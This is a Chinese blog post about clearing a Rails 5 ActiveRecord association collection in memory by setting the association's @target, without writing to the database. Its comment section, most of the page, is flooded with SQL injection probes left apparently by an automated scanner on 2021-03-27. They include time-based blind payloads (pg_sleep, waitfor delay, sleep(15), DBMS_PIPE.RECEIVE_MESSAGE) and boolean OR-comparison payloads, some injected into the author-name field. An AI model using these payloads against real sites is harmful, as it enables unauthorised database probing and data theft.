rails5中临时修改AR实例的关联对象集合

ruby

class User
    has_many :posts
end

class Post
    belongs_to :user
end

直接修改会操作db

User.first.posts # => return Post::ActiveRecord_Associations_CollectionProxy < ActiveRecord::Associations::CollectionProxy

User.first.posts = []  #=> 会调用 before_remove_for_posts 和 after_remove_for_posts 方法,对db进行操作

最终通过这种方式修改target,成功

user = User.first
user.posts.load_target
user.posts.instance_variable_get('@association').instance_variable_set("@target", [])

user.posts # => []

发表于 2020.02.22


xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:51

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

''||(select 1 from (select pg_sleep(15))x)||'' • 2021-03-27 07:50

555

'||(select 1 from (select pg_sleep(15))x)||' • 2021-03-27 07:50

555

xsjyBldb'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' • 2021-03-27 07:50

555

INb8v9PQ')) OR 988=(SELECT 988 FROM PG_SLEEP(15))-- • 2021-03-27 07:50

555

BHvW0Bse') OR 376=(SELECT 376 FROM PG_SLEEP(15))-- • 2021-03-27 07:50

555

HHLbOC0P' OR 821=(SELECT 821 FROM PG_SLEEP(15))-- • 2021-03-27 07:50

555

fnxkwu9k'; waitfor delay '0:0:15' -- • 2021-03-27 07:50

555

1 waitfor delay '0:0:15' -- • 2021-03-27 07:50

555

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ • 2021-03-27 07:50

555

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z • 2021-03-27 07:50

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z • 2021-03-27 07:50

555

if(now()=sysdate(),sleep(15),0) • 2021-03-27 07:50

555

-1" OR 3*2>(0+5+596-596) -- • 2021-03-27 07:50

555

-1" OR 3*2<(0+5+596-596) -- • 2021-03-27 07:50

555

-1" OR 3+596-596-1=0+0+0+1 -- • 2021-03-27 07:50

555

-1" OR 2+596-596-1=0+0+0+1 -- • 2021-03-27 07:50

555

-1' OR 3*2>(0+5+551-551) or '33SAEDa3'=' • 2021-03-27 07:50

555

-1' OR 3*2<(0+5+551-551) or '33SAEDa3'=' • 2021-03-27 07:50

555

-1' OR 3+551-551-1=0+0+0+1 or '33SAEDa3'=' • 2021-03-27 07:50

555

-1' OR 2+551-551-1=0+0+0+1 or '33SAEDa3'=' • 2021-03-27 07:50

555

-1' OR 3*2>(0+5+775-775) -- • 2021-03-27 07:50

555

-1' OR 3*2<(0+5+775-775) -- • 2021-03-27 07:50

555

-1' OR 3+775-775-1=0+0+0+1 -- • 2021-03-27 07:50

555

-1' OR 2+775-775-1=0+0+0+1 -- • 2021-03-27 07:50

555

-1 OR 3*2>(0+5+617-617) • 2021-03-27 07:50

555

-1 OR 3*2<(0+5+617-617) • 2021-03-27 07:50

555

-1 OR 3+617-617-1=0+0+0+1 • 2021-03-27 07:50

555

-1 OR 2+617-617-1=0+0+0+1 • 2021-03-27 07:50

555

-1 OR 3*2>(0+5+382-382) -- • 2021-03-27 07:50

555

-1 OR 3*2<(0+5+382-382) -- • 2021-03-27 07:50

555

-1 OR 3+382-382-1=0+0+0+1 -- • 2021-03-27 07:50

555

-1 OR 2+382-382-1=0+0+0+1 -- • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

555

xsjyBldb • 2021-03-27 07:50

''||(select 1 from (select pg_sleep(15))x)||''

xsjyBldb • 2021-03-27 07:50

'||(select 1 from (select pg_sleep(15))x)||'

xsjyBldb • 2021-03-27 07:50

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb • 2021-03-27 07:50

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb • 2021-03-27 07:50

M0vJdBss')) OR 945=(SELECT 945 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:50

a4qXef05') OR 752=(SELECT 752 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:49

NgDFJJia' OR 746=(SELECT 746 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:49

-1)) OR 94=(SELECT 94 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:49

-5) OR 574=(SELECT 574 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:49

-5 OR 471=(SELECT 471 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:49

iGszuFuN'; waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:49

1 waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:49

-1); waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:49

-1; waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:49

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb • 2021-03-27 07:49

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb • 2021-03-27 07:49

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb • 2021-03-27 07:49

if(now()=sysdate(),sleep(15),0)

xsjyBldb • 2021-03-27 07:49

-1" OR 3*2>(0+5+165-165) --

xsjyBldb • 2021-03-27 07:49

-1" OR 3*2

xsjyBldb • 2021-03-27 07:49

-1" OR 3+165-165-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

-1" OR 2+165-165-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

-1' OR 3*2>(0+5+643-643) or '36dRm3Wb'='

xsjyBldb • 2021-03-27 07:49

-1' OR 3*2

xsjyBldb • 2021-03-27 07:49

-1' OR 3+643-643-1=0+0+0+1 or '36dRm3Wb'='

xsjyBldb • 2021-03-27 07:49

-1' OR 2+643-643-1=0+0+0+1 or '36dRm3Wb'='

xsjyBldb • 2021-03-27 07:49

-1' OR 3*2>(0+5+360-360) --

xsjyBldb • 2021-03-27 07:49

-1' OR 3*2

xsjyBldb • 2021-03-27 07:49

-1' OR 3+360-360-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

-1' OR 2+360-360-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

-1 OR 3*2>(0+5+226-226)

xsjyBldb • 2021-03-27 07:49

-1 OR 3*2

xsjyBldb • 2021-03-27 07:49

-1 OR 3+226-226-1=0+0+0+1

xsjyBldb • 2021-03-27 07:49

-1 OR 2+226-226-1=0+0+0+1

xsjyBldb • 2021-03-27 07:49

-1 OR 3*2>(0+5+163-163) --

xsjyBldb • 2021-03-27 07:49

-1 OR 3*2

xsjyBldb • 2021-03-27 07:49

-1 OR 3+163-163-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

-1 OR 2+163-163-1=0+0+0+1 --

xsjyBldb • 2021-03-27 07:49

555

xsjyBldb • 2021-03-27 07:49

555

xsjyBldb • 2021-03-27 07:28

''||(select 1 from (select pg_sleep(15))x)||''

xsjyBldb • 2021-03-27 07:28

'||(select 1 from (select pg_sleep(15))x)||'

xsjyBldb • 2021-03-27 07:28

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb • 2021-03-27 07:28

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb • 2021-03-27 07:28

5GLY0y6k')) OR 710=(SELECT 710 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

6c6PawsS') OR 166=(SELECT 166 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

oQcCIkRD' OR 972=(SELECT 972 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

-1)) OR 922=(SELECT 922 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

-5) OR 955=(SELECT 955 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

-5 OR 847=(SELECT 847 FROM PG_SLEEP(15))--

xsjyBldb • 2021-03-27 07:28

S1RKgefr'; waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:28

1 waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:28

-1); waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:28

-1; waitfor delay '0:0:15' --

xsjyBldb • 2021-03-27 07:28

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb • 2021-03-27 07:28

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb • 2021-03-27 07:28

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb • 2021-03-27 07:28

if(now()=sysdate(),sleep(15),0)

xsjyBldb • 2021-03-27 07:28

RLIKE (SELECT (CASE WHEN (114=114) THEN 1 ELSE 0x28 END)) --

xsjyBldb • 2021-03-27 07:28

-1 OR 3*2>(0+5+181-181)

xsjyBldb • 2021-03-27 07:28

-1 OR 3*2

xsjyBldb • 2021-03-27 07:28

-1 OR 3+181-181-1=0+0+0+1

xsjyBldb • 2021-03-27 07:28

-1 OR 2+181-181-1=0+0+0+1

xsjyBldb • 2021-03-27 07:28

1*

xsjyBldb • 2021-03-27 07:28

1*

xsjyBldb • 2021-03-27 07:28

1*

xsjyBldb • 2021-03-27 07:28

1*

xsjyBldb • 2021-03-27 07:28

PfD82BZc

xsjyBldb • 2021-03-27 07:19

1